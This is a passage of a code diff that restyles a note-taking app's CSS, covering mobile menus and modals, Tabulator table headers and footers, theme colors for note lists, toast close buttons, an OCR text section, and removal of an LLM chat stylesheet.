     --tree-item-dark-theme-min-color-lightness: 75;
@@ -111,6 +111,7 @@ body.mobile #root-widget.virtual-keyboard-opened #mobile-bottom-bar {
 }
 
 #mobile-bottom-bar {
+    border-top: 1px solid var(--main-border-color);
     padding-bottom: var(--mobile-bottom-offset);
 }
 
@@ -152,6 +153,11 @@ textarea,
     background: var(--input-background-color);
 }
 
+.form-control:disabled {
+    background-color: var(--input-background-color);
+    opacity: 0.6;
+}
+
 .form-control:focus {
     color: var(--input-text-color);
     background: var(--input-background-color);
@@ -224,10 +230,6 @@ body.mobile .modal .modal-dialog {
     width: 100%;
 }
 
-body.mobile .modal .modal-content {
-    border-radius: var(--bs-modal-border-radius) var(--bs-modal-border-radius) 0 0;
-}
-
 .component {
     contain: size;
 }
@@ -413,6 +415,7 @@ body.desktop .tabulator-popup-container,
 
 .dropdown-menu.static {
     box-shadow: unset;
+    backdrop-filter: unset !important;
 }
 
 .dropend .dropdown-toggle::after {
@@ -458,7 +461,7 @@ body.desktop .tabulator-popup-container,
     visibility: hidden;
 }
 
-body.desktop .dropdown-menu:not(#context-menu-container) .dropdown-item,
+.dropdown-menu:not(#context-menu-container) .dropdown-item,
 body.desktop .dropdown-menu .dropdown-toggle,
 body #context-menu-container .dropdown-item > span,
 body.mobile .dropdown .dropdown-submenu > span {
@@ -466,6 +469,15 @@ body.mobile .dropdown .dropdown-submenu > span {
     align-items: center;
 }
 
+
+body.mobile .dropdown .dropdown-submenu {
+    flex-wrap: wrap;
+
+    & > span {
+        flex-grow: 1;
+    }
+}
+
 .dropdown-item span.keyboard-shortcut,
 .dropdown-item *:not(.keyboard-shortcut) > kbd {
     flex-grow: 1;
@@ -935,6 +947,7 @@ table.promoted-attributes-in-tooltip th {
     color: var(--muted-text-color);
     opacity: 0.6;
     line-height: 1;
+    word-wrap: break-word;
 }
 
 .aa-dropdown-menu .aa-suggestion p {
@@ -1255,7 +1268,7 @@ a.external:not(.no-arrow):after, a[href^="http://"]:not(.no-arrow):after, a[href
     inset-inline-start: 0;
     inset-inline-end: 0;
     bottom: 0;
-    z-index: 1000;
+    z-index: 2500;
     background: rgba(0, 0, 0, 0.1);
 }
 
@@ -1329,15 +1342,12 @@ body.desktop .dropdown-submenu > .dropdown-menu {
     max-width: 300px;
 }
 
-.dropdown-submenu.dropstart > .dropdown-menu {
+.dropdown-submenu.dropstart > .dropdown-menu,
+body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
     inset-inline-start: auto;
     inset-inline-end: calc(100% - 2px);
 }
 
-body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
-    inset-inline-start: calc(-100% + 10px);
-}
-
 .right-dropdown-widget {
     flex-shrink: 0;
 }
@@ -1534,7 +1544,8 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
 
 @media (max-width: 991px) {
     body.mobile #launcher-pane .dropdown.global-menu > .dropdown-menu.show,
-    body.mobile #launcher-container .dropdown > .dropdown-menu.show {
+    body.mobile #launcher-container .dropdown > .dropdown-menu.show,
+    body.mobile .dropdown-menu.mobile-bottom-menu.show {
         --dropdown-bottom: calc(var(--mobile-bottom-offset) + var(--launcher-pane-size));
         position: fixed !important;
         bottom: var(--dropdown-bottom) !important;
@@ -1546,6 +1557,16 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
         max-height: calc(var(--tn-modal-max-height) - var(--dropdown-bottom));
     }
 
+    body.mobile #launcher-container .dropdown > .dropdown-menu.show {
+        border-bottom-left-radius: 0;
+        border-bottom-right-radius: 0;
+    }
+
+    body.mobile .dropdown-menu.mobile-bottom-menu.show {
+        --dropdown-bottom: 0px;
+        padding-bottom: calc(max(var(--menu-padding-size), env(safe-area-inset-bottom))) !important;
+    }
+
     #mobile-sidebar-container {
         position: fixed;
         top: 0;
@@ -1566,7 +1587,7 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
         position: absolute;
         top: 0;
         inset-inline-start: 0;
-        bottom: 0;
+        height: 100dvh;
         width: 85vw;
         padding-top: env(safe-area-inset-top);
         transition: transform 250ms ease-in-out;
@@ -1591,11 +1612,7 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
     }
 
     body.mobile #launcher-container {
-        justify-content: center;
-    }
-
-    body.mobile #launcher-container button {
-        margin: 0 16px;
+        justify-content: space-evenly;
     }
 
     body.mobile .modal.show {
@@ -1614,6 +1631,7 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
 
     body.mobile .modal-content {
         overflow-y: auto;
+        border-radius: var(--bs-modal-border-radius) var(--bs-modal-border-radius) 0 0;
     }
 
     body.mobile .modal-footer {
@@ -1629,13 +1647,27 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
         word-break: break-all;
     }
 
-    body.mobile .jump-to-note-dialog .modal-content {
-        overflow-y: auto;
-    }
+    body.mobile .jump-to-note-dialog {
+        .modal-header {
+            padding-bottom: 0.75rem !important;
+        }
 
-    body.mobile .jump-to-note-dialog .modal-dialog .aa-dropdown-menu {
-        max-height: unset;
-        overflow: auto;
+        .modal-content {
+            padding-bottom: 0 !important;
+        }
+
+        .modal-body {
+            overflow-y: auto;
+        }
+
+        .aa-dropdown-menu {
+            max-height: unset;
+            overflow: auto;
+        }
+
+        .aa-suggestion {
+            padding-inline: 0;
+        }
     }
 
     body.mobile .modal-dialog .dropdown-menu {
@@ -1669,39 +1701,16 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
     #detail-container {
         background: var(--main-background-color);
     }
-}
 
-@media (max-width: 991px) {
-    body.mobile.force-fixed-tree #mobile-sidebar-wrapper {
-        padding-top: 0;
-        position: static;
-        height: 40vh;
-        width: 100vw;
-        transform: none !important;
-        background-color: var(--left-pane-background-color) !important;
-        border-bottom: 0.5px solid var(--main-border-color);
-    }
+    body.mobile {
+        .modal-dialog {
+            margin: var(--bs-modal-margin);
+            max-width: 80%;
+        }
 
-    body.mobile.force-fixed-tree #mobile-sidebar-container {
-        display: none !important;
-    }
-
-    body.mobile.force-fixed-tree #mobile-sidebar-wrapper .quick-search {
-        display: none;
-    }
-
-    body.mobile.force-fixed-tree .component > button.bx-sidebar {
-        visibility: hidden;
-        padding: 0;
-        width: 6px;
-    }
-
-    body.mobile.force-fixed-tree #mobile-rest-container {
-        flex-direction: column !important;
-    }
-
-    body.mobile.force-fixed-tree #detail-container {
-        flex-grow: 1;
+        .modal-content {
+            height: 100%;
+        }
     }
 }
 
@@ -1741,10 +1750,13 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
     justify-content: space-between;
     align-items: baseline;
     font-weight: bold;
-    text-transform: uppercase;
     color: var(--muted-text-color) !important;
 }
 
+#right-pane .card-header-title {
+    text-transform: uppercase;
+}
+
 #right-pane .card-header-buttons {
     display: flex;
     transform: scale(0.9);
@@ -2617,15 +2629,38 @@ iframe.print-iframe {
             }
         }
 
-        #root-widget.virtual-keyboard-opened .note-split:not(:focus-within) {
+        body:not(.ios) #root-widget.virtual-keyboard-opened .note-split:not(.active) {
             max-height: 80px;
             opacity: 0.4;
         }
     }
 }
 
-body.desktop .title-row {
+.title-row {
     height: 50px;
     min-height: 50px;
     align-items: center;
 }
+
+.ocr-text-section {
+    padding: 10px;
+    background: var(--accented-background-color);
+    border-left: 3px solid var(--main-border-color);
+    text-align: left;
+    width: 100%;
+}
+
+.ocr-header {
+    font-weight: bold;
+    margin-bottom: 8px;
+    font-size: 0.9em;
+    color: var(--muted-text-color);
+}
+
+.ocr-content {
+    max-height: 150px;
+    overflow-y: auto;
+    font-size: 0.9em;
+    line-height: 1.4;
+    white-space: pre-wrap;
+}

apps/client/src/stylesheets/table.css

@@ -14,13 +14,13 @@
     --row-moving-background-color: var(--accented-background-color);
     --row-text-color: var(--main-text-color);
     --row-delimiter-color: var(--more-accented-background-color);
-    
+
     --cell-horiz-padding-size: 8px;
     --cell-vert-padding-size: 8px;
-    
+
     --cell-editable-hover-outline-color: var(--main-border-color);
     --cell-read-only-text-color: var(--muted-text-color);
-    
+
     --cell-editing-border-color: var(--main-border-color);
     --cell-editing-border-width: 2px;
     --cell-editing-background-color: var(--ck-color-selector-focused-cell-background);
@@ -40,10 +40,42 @@
     border-bottom: var(--col-header-bottom-border);
     background: var(--col-header-background-color);
     color: var(--col-header-text-color);
-}
+    font-weight: normal;
 
-.tabulator .tabulator-col-content {
-    padding: 8px 4px !important;
+    .tabulator-col.tabulator-range-highlight {
+        background: inherit;
+        color: inherit;
+        font-weight: bold;
+    }
+
+    .tabulator-col-content {
+        padding: 0 !important;
+
+        .tabulator-col-title-holder {
+            padding: 8px 4px;
+        }
+
+        &:has(.tabulator-header-filter) {
+            .tabulator-col-title-holder {
+                padding: 4px;
+                padding-bottom: 0;
+            }
+        }
+
+        .tabulator-header-filter {
+            background: var(--main-background-color);
+            padding: 2px 1px;
+
+            input {
+                background: var(--main-background-color);
+                color: var(--main-text-color);
+                border: 1px solid var(--button-border-color);
+                border-radius: 3px;
+                outline: none;
+                padding: 2px;
+            }
+        }
+    }
 }
 
 @media (hover: hover) and (pointer: fine) {
@@ -80,7 +112,6 @@
 
 .tabulator-tableholder {
     padding-top: 10px;
-    height: unset !important; /* Don't extend on the full height */
 }
 
 /* Rows */
@@ -99,6 +130,14 @@
     border-top: none;
     border-bottom: 1px solid var(--row-delimiter-color);
     color: var(--row-text-color);
+
+    &:last-of-type {
+        border-bottom: none;
+    }
+
+    &.tabulator-range-highlight > .tabulator-cell.tabulator-frozen {
+        font-weight: bold;
+    }
 }
 
 .tabulator-row.tabulator-row-odd {
@@ -120,11 +159,14 @@
     margin-inline-end: var(--cell-editing-border-width);
 }
 
-.tabulator-row .tabulator-cell.tabulator-frozen.tabulator-frozen-left,
 .tabulator-row .tabulator-cell {
     border-inline-end-color: transparent;
 }
 
+.tabulator-row .tabulator-cell.tabulator-frozen.tabulator-frozen-left {
+    border-inline-end-color: var(--main-border-color);
+}
+
 .tabulator-row .tabulator-cell:not(.tabulator-editable) {
     color: var(--cell-read-only-text-color);
 }
@@ -174,10 +216,6 @@
     margin: 0;
 }
 
-.tabulator .tabulator-footer {
-    color: var(--main-text-color);
-}
-
 /* Context menus */
 
 .tabulator-popup-container {
@@ -192,8 +230,27 @@
 }
 
 /* Footer */
-
 :root .tabulator .tabulator-footer {
-    border-top: unset;
+    background: transparent;
+    color: var(--main-text-color);
+    border-top: 1px solid var(--main-border-color);
     padding: 10px 0;
-}
+
+    .tabulator-page {
+        background: var(--button-background-color);
+        color: var(--button-text-color);
+        border: 1px solid var(--button-border-color);
+        border-radius: var(--button-border-radius);
+
+        &:hover {
+            border-color: var(--hover-item-border-color);
+            color: var(--button-text-color);
+        }
+    }
+
+    select {
+        background: var(--button-background-color);
+        color: var(--input-text-color);
+        border: 1px solid var(--button-border-color);
+    }
+}

apps/client/src/stylesheets/theme-next-dark.css

@@ -134,6 +134,7 @@
     --left-pane-collapsed-border-color: #0009;
     --left-pane-background-color: #1f1f1f;
     --left-pane-text-color: #aaaaaa;
+    --left-pane-icon-color: #c5c5c5;
     --left-pane-item-hover-background: #ffffff0d;
     --left-pane-item-selected-background: #ffffff25;
     --left-pane-item-selected-color: #dfdfdf;
@@ -209,6 +210,7 @@
     --badge-share-background-color: #4d4d4d;
     --badge-clipped-note-background-color: #295773;
     --badge-execute-background-color: #604180;
+    --badge-active-content-background-color: rgb(12, 68, 70);
 
     --note-icon-background-color: #444444;
     --note-icon-color: #d4d4d4;
@@ -237,9 +239,9 @@
 
     --bottom-panel-background-color: #11111180;
     --bottom-panel-title-bar-background-color: #3F3F3F80;
-    
+
     --status-bar-border-color: var(--main-border-color);
-    
+
     --scrollbar-thumb-color: #fdfdfd5c;
     --scrollbar-thumb-hover-color: #ffffff7d;
     --scrollbar-background-color: transparent;
@@ -289,6 +291,15 @@
     --ck-editor-toolbar-button-on-shadow: 1px 1px 2px rgba(0, 0, 0, .75);
     --ck-editor-toolbar-dropdown-button-open-background: #ffffff14;
 
+    --note-list-view-icon-color: var(--left-pane-icon-color);
+    --note-list-view-large-icon-background: var(--note-icon-background-color);
+    --note-list-view-large-icon-color: var(--note-icon-color);
+    --note-list-view-search-result-highlight-background: transparent;
+    --note-list-view-search-result-highlight-color: var(--quick-search-result-highlight-color);
+    --note-list-view-content-background: rgba(0, 0, 0, .2);
+    --note-list-view-content-search-result-highlight-background: var(--quick-search-result-highlight-color);
+    --note-list-view-content-search-result-highlight-color: black;
+
     --calendar-coll-event-background-saturation: 25%;
     --calendar-coll-event-background-lightness: 20%;
     --calendar-coll-event-background-color: #3c3c3c;
@@ -302,7 +313,9 @@
  * Dark color scheme tweaks
  */
 
-#left-pane .fancytree-node.tinted {
+#left-pane .fancytree-node.tinted,
+.nested-note-list-item.use-note-color,
+.note-book-card .note-book-header.use-note-color {
     --custom-color: var(--dark-theme-custom-color);
 
     /* The background color of the active item in the note tree.
@@ -336,12 +349,25 @@ body .todo-list input[type="checkbox"]:not(:checked):before {
     --promoted-attribute-card-background-color: hsl(var(--custom-color-hue), 13.2%, 20.8%);
 }
 
+.modal.tab-bar-modal .tabs .tab-card.with-hue {
+    background-color: hsl(var(--bg-hue), 8.8%, 11.2%);
+    border-color: hsl(var(--bg-hue), 9.4%, 25.1%);
+}
+
+.modal.tab-bar-modal .tabs .tab-card.active.with-hue {
+    background-color: hsl(var(--bg-hue), 8.8%, 16.2%);
+    border-color: hsl(var(--bg-hue), 9.4%, 25.1%);
+}
+
+
 .use-note-color {
     --custom-color: var(--dark-theme-custom-color);
 }
 
 .note-split.with-hue,
-.quick-edit-dialog-wrapper.with-hue {
+.quick-edit-dialog-wrapper.with-hue,
+.nested-note-list-item.with-hue,
+.note-book-card.with-hue .note-book-header {
     --note-icon-custom-background-color: hsl(var(--custom-color-hue), 15.8%, 30.9%);
     --note-icon-custom-color: hsl(var(--custom-color-hue), 100%, 76.5%);
     --note-icon-hover-custom-background-color: hsl(var(--custom-color-hue), 28.3%, 36.7%);
@@ -350,4 +376,9 @@ body .todo-list input[type="checkbox"]:not(:checked):before {
 .note-split.with-hue *::selection,
 .quick-edit-dialog-wrapper.with-hue *::selection {
     --selection-background-color: hsl(var(--custom-color-hue), 49.2%, 35%);
+}
+
+.note-book-card.with-hue {
+    --card-background-color: hsl(var(--custom-color-hue), 6%, 21%);
+    --card-background-hover-color: hsl(var(--custom-color-hue), 8%, 25%);
 }

apps/client/src/stylesheets/theme-next-light.css

@@ -127,6 +127,7 @@
     --left-pane-collapsed-border-color: #0000000d;
     --left-pane-background-color: #f2f2f2;
     --left-pane-text-color: #383838;
+    --left-pane-icon-color: currentColor;
     --left-pane-item-hover-background: rgba(0, 0, 0, 0.032);
     --left-pane-item-selected-background: white;
     --left-pane-item-selected-color: black;
@@ -201,6 +202,7 @@
     --badge-share-background-color: #6b6b6b;
     --badge-clipped-note-background-color: #2284c0;
     --badge-execute-background-color: #7b47af;
+    --badge-active-content-background-color: rgb(27, 164, 168);
 
     --note-icon-background-color: #4f4f4f;
     --note-icon-color: white;
@@ -287,6 +289,15 @@
     --ck-editor-toolbar-button-on-shadow: none;
     --ck-editor-toolbar-dropdown-button-open-background: #0000000f;
 
+    --note-list-view-icon-color: var(--left-pane-icon-color);
+    --note-list-view-large-icon-background: var(--note-icon-background-color);
+    --note-list-view-large-icon-color: var(--note-icon-color);
+    --note-list-view-search-result-highlight-background: transparent;
+    --note-list-view-search-result-highlight-color: var(--quick-search-result-highlight-color);
+    --note-list-view-content-background: #b1b1b133;
+    --note-list-view-content-search-result-highlight-background: var(--quick-search-result-highlight-color);
+    --note-list-view-content-search-result-highlight-color: white;
+
     --calendar-coll-event-background-lightness: 95%;
     --calendar-coll-event-background-saturation: 80%;
     --calendar-coll-event-background-color: #eaeaea;
@@ -296,7 +307,9 @@
     --calendar-coll-today-background-color: #00000006;
 }
 
-#left-pane .fancytree-node.tinted {
+#left-pane .fancytree-node.tinted,
+.nested-note-list-item.use-note-color,
+.note-book-card .note-book-header.use-note-color {
     --custom-color: var(--light-theme-custom-color);
 
     /* The background color of the active item in the note tree.
@@ -311,8 +324,20 @@
     --promoted-attribute-card-background-color: hsl(var(--custom-color-hue), 40%, 88%);
 }
 
+.modal.tab-bar-modal .tabs .tab-card.with-hue {
+    background-color: hsl(var(--bg-hue), 56%, 96%);
+    border-color: hsl(var(--bg-hue), 33%, 41%);
+}
+
+.modal.tab-bar-modal .tabs .tab-card.active.with-hue {
+    background-color: hsl(var(--bg-hue), 86%, 96%);
+    border-color: hsl(var(--bg-hue), 33%, 41%);
+}
+
 .note-split.with-hue,
-.quick-edit-dialog-wrapper.with-hue {
+.quick-edit-dialog-wrapper.with-hue,
+.nested-note-list-item.with-hue,
+.note-book-card.with-hue .note-book-header {
     --note-icon-custom-background-color: hsl(var(--custom-color-hue), 44.5%, 43.1%);
     --note-icon-custom-color: hsl(var(--custom-color-hue), 91.3%, 91%);
     --note-icon-hover-custom-background-color: hsl(var(--custom-color-hue), 55.1%, 50.2%);
@@ -321,4 +346,9 @@
 .note-split.with-hue *::selection,
 .quick-edit-dialog-wrapper.with-hue *::selection {
     --selection-background-color: hsl(var(--custom-color-hue), 60%, 90%);
+}
+
+.note-book-card.with-hue {
+    --card-background-color: hsl(var(--custom-color-hue), 21%, 94%);
+    --card-background-hover-color: hsl(var(--custom-color-hue), 21%, 87%);
 }

apps/client/src/stylesheets/theme-next/base.css

@@ -544,14 +544,11 @@ li.dropdown-item a.dropdown-item-button:focus-visible {
     vertical-align: middle;
 }
 
-#toast-container .toast .toast-header .btn-close {
+#toast-container .toast .toast-header .btn-close,
+#toast-container .toast .toast-close .btn-close {
     margin: 0 0 0 12px;
 }
 
-#toast-container .toast.no-title {
-    flex-direction: row;
-}
-
 #toast-container .toast .toast-body {
     flex-grow: 1;
     overflow: hidden;
@@ -643,139 +640,6 @@ li.dropdown-item a.dropdown-item-button:focus-visible {
     transform: translateY(4%);
 }
 
-/*
- * NOTE LIST
- */
-
- .note-list .note-book-card {
-    --note-list-horizontal-padding: 22px;
-    --note-list-vertical-padding: 15px;
-    background-color: var(--card-background-color);
-    border: 1px solid var(--card-border-color) !important;
-    border-radius: 12px;
-    user-select: none;
-    padding: 0;
-    margin: 5px 10px 5px 0;
-}
-
-:root .note-list .note-book-card:hover {
-    background-color: var(--card-background-hover-color);
-    transition: background-color 200ms ease-out;
-}
-
-:root .note-list.grid-view .note-book-card:active {
-    transform: scale(.98);
-}
-
-.note-list.list-view .note-book-card {
-    box-shadow: 0 0 3px var(--card-shadow-color);
-}
-
-.note-list.list-view .note-book-card .note-book-header .note-icon {
-    vertical-align: middle;
-}
-
-.note-list-wrapper .note-book-card a {
-    color: inherit !important;
-}
-
-.note-list-wrapper .note-book-card .note-book-header {
-    font-size: 1em;
-    font-weight: bold;
-    padding: 0.5em 1rem;
-    border-bottom-color: var(--card-border-color);
-}
-
-.note-list-wrapper .note-book-card .note-book-header .note-icon {
-    font-size: 17px;
-    vertical-align: text-bottom;
-}
-
-.note-list-wrapper .note-book-card .note-book-header .note-book-title {
-    font-size: 1em;
-    color: var(--active-item-text-color);
-    vertical-align: middle;
-}
-
-.note-list-wrapper .note-book-card .note-book-header .rendered-note-attributes {
-    font-size: 0.7em;
-    font-weight: normal;
-    margin-bottom: 0;
-}
-
-.note-list-wrapper .note-book-card .note-book-header:last-child {
-    border-bottom: 0;
-}
-
-.note-list-wrapper .note-book-card .note-book-content {
-    padding: 0 !important;
-    font-size: 0.8rem;
-}
-
-.note-list-wrapper .note-book-card .note-book-content .rendered-content {
-    padding: 1rem;
-}
-
-.note-list-wrapper .note-book-card .note-book-content.type-image .rendered-content,
-.note-list-wrapper .note-book-card .note-book-content.type-pdf .rendered-content {
-    padding: 0;
-}
-
-.note-list-wrapper .note-book-card .note-book-content .rendered-content.text-with-ellipsis {
-    padding: 1rem !important;
-}
-
-.note-list-wrapper .note-book-card .note-book-content h1,
-.note-list-wrapper .note-book-card .note-book-content h2,
-.note-list-wrapper .note-book-card .note-book-content h3,
-.note-list-wrapper .note-book-card .note-book-content h4,
-.note-list-wrapper .note-book-card .note-book-content h5,
-.note-list-wrapper .note-book-card .note-book-content h6 {
-    font-size: 1rem;
-    color: var(--active-item-text-color);
-}
-
-.note-list-wrapper .note-book-card .note-book-content p:last-child {
-    margin-bottom: 0;
-}
-
-.note-list-wrapper .note-book-card .note-book-content.type-canvas .rendered-content,
-.note-list-wrapper .note-book-card .note-book-content.type-mindMap .rendered-content,
-.note-list-wrapper .note-book-card .note-book-content.type-code .rendered-content,
-.note-list-wrapper .note-book-card .note-book-content.type-video .rendered-content {
-    padding: 0;
-}
-
-.note-list-wrapper .note-book-card .note-book-content.type-code {
-    height: 100%;
-}
-
-.note-list-wrapper .note-book-card .note-book-content.type-code pre {
-    height: 100%;
-    padding: 1em;
-    margin-bottom: 0;
-}
-
-.note-list-wrapper .note-book-card .tn-icon {
-    color: var(--left-pane-icon-color) !important;
-}
-
-.note-list.grid-view .note-book-card:hover {
-    filter: contrast(105%);
-}
-
-.note-list.grid-view .ck-content {
-    line-height: 1.3;
-}
-
-.note-list.grid-view .ck-content p {
-    margin-bottom: 0.5em;
-}
-
-.note-list.grid-view .ck-content figure.image {
-    width: 25%;
-}
-
 /*
  * NOTE SEARCH SUGGESTIONS
  */
@@ -800,3 +664,19 @@ li.dropdown-item a.dropdown-item-button:focus-visible {
     background: var(--hover-item-background-color);
     color: var(--hover-item-text-color);
 }
+
+/*
+ * Alert bars
+ */
+
+div.alert {
+    margin-bottom: 8px;
+    background: var(--alert-bar-background) !important;
+    color: var(--main-text-color);
+    border-radius: 8px;
+    font-size: .85em;
+}
+
+div.alert p + p {
+    margin-block: 1em 0;
+}

apps/client/src/stylesheets/theme-next/dialogs.css

@@ -26,7 +26,8 @@
 .modal .modal-header .btn-close,
 .modal .modal-header .help-button,
 .modal .modal-header .custom-title-bar-button,
-#toast-container .toast .toast-header .btn-close {
+#toast-container .toast .toast-header .btn-close,
+#toast-container .toast .toast-close .btn-close {
     display: flex;
     justify-content: center;
     align-items: center;
@@ -46,12 +47,14 @@
 }
 
 .modal .modal-header .btn-close,
-#toast-container .toast .toast-header .btn-close {
+#toast-container .toast .toast-header .btn-close,
+#toast-container .toast .toast-close .btn-close {
     --modal-control-button-hover-background: var(--modal-close-button-hover-background);
 }
 
 .modal .modal-header .btn-close::after,
-#toast-container .toast .toast-header .btn-close::after {
+#toast-container .toast .toast-header .btn-close::after,
+#toast-container .toast .toast-close .btn-close::after {
     content: "\ec8d";
     font-family: boxicons;
 }
@@ -67,7 +70,8 @@
 .modal .modal-header .btn-close:hover,
 .modal .modal-header .help-button:hover,
 .modal .modal-header .custom-title-bar-button:hover,
-#toast-container .toast .toast-header .btn-close:hover {
+#toast-container .toast .toast-header .btn-close:hover,
+#toast-container .toast .toast-close .btn-close:hover {
     background: var(--modal-control-button-hover-background);
     color: var(--modal-control-button-hover-color);
 }
@@ -75,19 +79,22 @@
 .modal .modal-header .btn-close:active,
 .modal .modal-header .help-button:active,
 .modal .modal-header .custom-title-bar-button:active,
-#toast-container .toast .toast-header .btn-close:active {
+#toast-container .toast .toast-header .btn-close:active,
+#toast-container .toast .toast-close .btn-close:active {
     transform: scale(.85);
 }
 
 .modal .modal-header .btn-close:focus,
 .modal .modal-header .help-button:focus,
-#toast-container .toast .toast-header .btn-close:focus {
+#toast-container .toast .toast-header .btn-close:focus,
+#toast-container .toast .toast-close .btn-close:focus {
     box-shadow: none !important;
 }
 
 .modal .modal-header .btn-close:focus-visible,
 .modal .modal-header .help-button:focus-visible,
-#toast-container .toast .toast-header .btn-close:focus-visible {
+#toast-container .toast .toast-header .btn-close:focus-visible,
+#toast-container .toast .toast-close .btn-close:focus-visible {
     outline: 2px solid var(--input-focus-outline-color);
     outline-offset: 2px;
 }

apps/client/src/stylesheets/theme-next/forms.css

@@ -84,6 +84,22 @@ button.btn.btn-success kbd {
     letter-spacing: 0.5pt;
 }
 
+/*
+ * Low profile buttons
+ */
+
+button.tn-low-profile {
+    appearance: none;
+    background: transparent;
+    border: 0;
+    border-radius: 8px;
+    color: inherit;
+}
+
+button.tn-low-profile:hover {
+    background-color: var(--icon-button-hover-background);
+}
+
 /*
  * Icon buttons
  */
@@ -129,6 +145,10 @@ button.btn.btn-success kbd {
     font-size: calc(var(--icon-button-size) * var(--icon-button-icon-ratio));
 }
 
+:root .icon-action.disabled::before {
+    opacity: .5;
+}
+
 :root .icon-action:not(.global-menu-button):hover,
 :root .icon-action:not(.global-menu-button).show,
 :root .tn-tool-button:hover,
@@ -794,3 +814,35 @@ input[type="range"] {
         scrollbar-width: unset;
     }
 }
+
+/*
+ * Centered forms
+ */
+
+.tn-centered-form {
+    display: flex;
+    flex-direction: column;
+    align-items: center;
+    margin-bottom: 20vh;
+}
+
+.tn-centered-form .form-group {
+    text-align: center;
+    color: var(--muted-text-color);
+}
+
+.tn-centered-form .form-icon {
+    font-size: 140px;
+    color: var(--main-border-color);
+}
+
+.tn-centered-form .protected-session-password {
+    margin-inline: auto;
+    max-width: 350px;
+    text-align: center;
+}
+
+.tn-centered-form .input-group,
+.tn-centered-form button {
+    margin-top: 12px;
+}

apps/client/src/stylesheets/theme-next/llm-chat.css

@@ -1,122 +0,0 @@
-/* LLM Chat Launcher Widget Styles */
-.note-context-chat {
-    display: flex;
-    flex-direction: column;
-    height: 100%;
-    width: 100%;
-}
-
-.note-context-chat-container {
-    flex-grow: 1;
-    overflow-y: auto;
-    padding: 15px;
-}
-
-.chat-message {
-    display: flex;
-    margin-bottom: 15px;
-    max-width: 85%;
-}
-
-.chat-message.user-message {
-    margin-inline-start: auto;
-}
-
-.chat-message.assistant-message {
-    margin-inline-end: auto;
-}
-
-.message-avatar {
-    width: 32px;
-    height: 32px;
-    border-radius: 50%;
-    display: flex;
-    align-items: center;
-    justify-content: center;
-    margin-inline-end: 8px;
-}
-
-.user-message .message-avatar {
-    background-color: var(--primary-color);
-    color: white;
-}
-
-.assistant-message .message-avatar {
-    background-color: var(--secondary-color);
-    color: white;
-}
-
-.message-content {
-    background-color: var(--more-accented-background-color);
-    border-radius: 12px;
-    padding: 10px 15px;
-    max-width: calc(100% - 40px);
-}
-
-.user-message .message-content {
-    background-color: var(--accented-background-color);
-}
-
-.message-content pre {
-    background-color: var(--code-background-color);
-    border-radius: 5px;
-    padding: 10px;
-    overflow-x: auto;
-    max-width: 100%;
-}
-
-.message-content code {
-    background-color: var(--code-background-color);
-    padding: 2px 4px;
-    border-radius: 3px;
-}
-
-.loading-indicator {
-    display: flex;
-    align-items: center;
-    margin: 10px 0;
-    color: var(--muted-text-color);
-}
-
-.sources-container {
-    background-color: var(--accented-background-color);
-    border-top: 1px solid var(--main-border-color);
-    padding: 8px;
-}
-
-.sources-list {
-    font-size: 0.9em;
-}
-
-.source-item {
-    padding: 4px 0;
-}
-
-.source-link {
-    color: var(--link-color);
-    text-decoration: none;
-}
-
-.source-link:hover {
-    text-decoration: underline;
-}
-
-.note-context-chat-form {
-    display: flex;
-    background-color: var(--main-background-color);
-    border-top: 1px solid var(--main-border-color);
-    padding: 10px;
-}
-
-.note-context-chat-input {
-    resize: vertical;
-    min-height: 44px;
-    max-height: 200px;
-}
-
-/* Responsive adjustments */
-@media (max-width: 768px) {
-    .chat-message {
-        max-width: 95%;
-    }
-} 

apps/client/src/stylesheets/theme-next/notes/text.css

@@ -47,9 +47,14 @@
 }
 
 /* The toolbar show / hide button for the current text block */
-.ck.ck-block-toolbar-button {
+:root .ck.ck-block-toolbar-button {
+    --ck-color-block-toolbar-button: var(--muted-text-color);
     --ck-color-button-on-background: transparent;
-    --ck-color-button-on-color: currentColor;
+    --ck-color-button-on-color: var(--ck-editor-toolbar-button-on-color);
+    translate: -40% 0;
+    min-width: 0;
+    padding: 0;
+    z-index: 1600;
 }
 
 :root .ck.ck-toolbar .ck-button:not(.ck-disabled):active,
@@ -517,6 +522,10 @@ button.ck.ck-button:is(.ck-button-action, .ck-button-save, .ck-button-cancel).ck
  * EDITOR'S CONTENT
  */
 
+.note-detail-editable-text-editor > .ck-placeholder {
+    opacity: .5;
+}
+
 /*
  * Code Blocks
  */
@@ -638,10 +647,10 @@ html .note-detail-editable-text :not(figure, .include-note, hr):first-child {
     font-weight: 600;
 }
 
-.ck-content hr {
-    margin: 5px 0;
-    height: 1px;
-    background-color: var(--main-border-color);
+:root .ck-content hr {
+    margin-block: 5px;
+    height: 0;
+    border: thin solid var(--main-border-color);
     opacity: 1;
 }
 

apps/client/src/stylesheets/theme-next/pages.css

@@ -57,12 +57,12 @@
     height: 18px;
 }
 
-/* 
+/*
  * SEARCH PAGE
  */
 
  /* Button bar */
- .search-definition-widget .search-setting-table tbody:last-child div {
+ .search-definition-widget .search-setting-table .search-actions-container {
     justify-content: flex-end;
     gap: 8px;
  }
@@ -143,7 +143,7 @@
 /*
  * OPTIONS PAGES
  */
- 
+
  :root {
     --options-card-min-width: 500px;
     --options-card-max-width: 900px;
@@ -156,6 +156,10 @@
     --preferred-max-content-width: var(--options-card-max-width);
 }
 
+.note-split.options .collection-properties {
+    visibility: hidden;
+}
+
 /* Create a gap at the top of the option pages */
 .note-detail-content-widget-content.options>*:first-child {
     margin-top: var(--options-first-item-top-margin, 1em);
@@ -261,13 +265,6 @@ body.desktop .options-section:not(.tn-no-card) {
     margin-bottom: 6px;
 }
 
-.options-section .alert {
-    margin-bottom: 8px;
-    background: var(--alert-bar-background) !important;
-    border-radius: 8px;
-    font-size: .85em;
-}
-
